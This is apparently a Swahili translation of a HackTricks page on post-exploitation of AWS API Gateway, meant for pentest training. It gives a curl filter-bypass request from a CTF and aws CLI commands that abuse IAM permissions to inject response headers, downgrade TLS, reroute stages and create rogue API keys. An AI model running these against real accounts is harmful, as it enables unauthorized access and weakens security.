AWS - API Gateway Post Exploitation

Reading time: 6 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

API Gateway

Kwa maelezo zaidi angalia:

AWS - API Gateway Enum

Upataji wa APIs zisizo wazi

Unaweza kuunda kiunganishi katika https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint na huduma com.amazonaws.us-east-1.execute-api, fungua kiunganishi katika mtandao ambapo una ufikiaji (labda kupitia mashine ya EC2) na piga kundi la usalama linaloruhusu mawasiliano yote.
Kisha, kutoka kwa mashine ya EC2 utaweza kufikia kiunganishi na hivyo kuita API ya gateway ambayo haikuwa wazi hapo awali.

Kupita kupitia mwili wa Ombi

Teknolojia hii ilipatikana katika hii CTF writeup.

Kama ilivyoonyeshwa katika nyaraka za AWS katika sehemu ya PassthroughBehavior, kwa default, thamani WHEN_NO_MATCH, wakati wa kuangalia kichwa cha Content-Type cha ombi, itapitisha ombi kwa nyuma bila mabadiliko.

Hivyo, katika CTF gateway ya API ilikuwa na kigezo cha uunganisho ambacho kilikuwa kikizuia bendera kutolewa katika jibu wakati ombi lilitumwa na Content-Type: application/json:

yaml
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'

Hata hivyo, kutuma ombi lenye Content-type: text/json kungesitisha chujio hicho.

Hatimaye, kwa kuwa API Gateway ilikuwa ikiruhusu tu Get na Options, ilikuwa inawezekana kutuma uchunguzi wa dynamoDB bila kikomo kwa kutuma ombi la POST lenye uchunguzi katika mwili na kutumia kichwa X-HTTP-Method-Override: GET:

bash
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json'  --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'

Usage Plans DoS

Katika sehemu ya Enumeration unaweza kuona jinsi ya kupata mpango wa matumizi wa funguo. Ikiwa una funguo na ime punguzia matumizi X kwa mwezi, unaweza kuitumia tu na kusababisha DoS.

Funguo ya API inahitaji tu kujumuishwa ndani ya HTTP header inayoitwa x-api-key.

apigateway:UpdateGatewayResponse, apigateway:CreateDeployment

Mshambuliaji mwenye ruhusa apigateway:UpdateGatewayResponse na apigateway:CreateDeployment anaweza kubadilisha Jibu la Gateway lililopo ili kujumuisha vichwa vya habari vya kawaida au templeti za majibu ambazo zinavuja taarifa nyeti au kutekeleza skripti za uhalifu.

bash
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"

# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Madhara Yanayoweza Kutokea: Kuvuja kwa taarifa nyeti, kutekeleza skripti za uhalifu, au ufikiaji usioidhinishwa wa rasilimali za API.

note

Inahitaji kupimwa

apigateway:UpdateStage, apigateway:CreateDeployment

Mshambuliaji mwenye ruhusa apigateway:UpdateStage na apigateway:CreateDeployment anaweza kubadilisha hatua ya API Gateway iliyopo ili kuelekeza trafiki kwenye hatua tofauti au kubadilisha mipangilio ya caching ili kupata ufikiaji usioidhinishwa wa data iliyohifadhiwa.

bash
API_ID="your-api-id"
STAGE_NAME="Prod"

# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Madhara Yanayoweza Kutokea: Ufikiaji usioidhinishwa wa data iliyohifadhiwa, kuingilia au kuingilia kati trafiki ya API.

note

Inahitaji kupimwa

apigateway:PutMethodResponse, apigateway:CreateDeployment

Mshambuliaji mwenye ruhusa apigateway:PutMethodResponse na apigateway:CreateDeployment anaweza kubadilisha jibu la njia ya API Gateway REST API iliyopo ili kujumuisha vichwa vya habari vya kawaida au templeti za majibu ambazo zinavuja taarifa nyeti au kutekeleza scripts zenye uharibifu.

bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"

# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Madhara Yanayoweza Kutokea: Kuvuja kwa taarifa nyeti, kutekeleza scripts za uhalifu, au ufikiaji usioidhinishwa wa rasilimali za API.

note

Inahitaji kupimwa

apigateway:UpdateRestApi, apigateway:CreateDeployment

Mshambuliaji mwenye ruhusa apigateway:UpdateRestApi na apigateway:CreateDeployment anaweza kubadilisha mipangilio ya API Gateway REST API ili kuzima logging au kubadilisha toleo la chini la TLS, ambayo inaweza kudhoofisha usalama wa API.

bash
API_ID="your-api-id"

# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Madhara Yanayoweza Kutokea: Kupunguza usalama wa API, ambayo inaweza kuruhusu ufikiaji usioidhinishwa au kufichua taarifa nyeti.

note

Inahitaji kupimwa

apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey

Mshambuliaji mwenye ruhusa apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, na apigateway:CreateUsagePlanKey anaweza kuunda funguo mpya za API, kuziunganisha na mipango ya matumizi, na kisha kutumia funguo hizi kwa ufikiaji usioidhinishwa kwa APIs.

bash
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')

# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')

# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY

Madhara Yanayoweza Kutokea: Ufikiaji usioidhinishwa wa rasilimali za API, kupita mipango ya usalama.

note

Inahitaji kupimwa

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks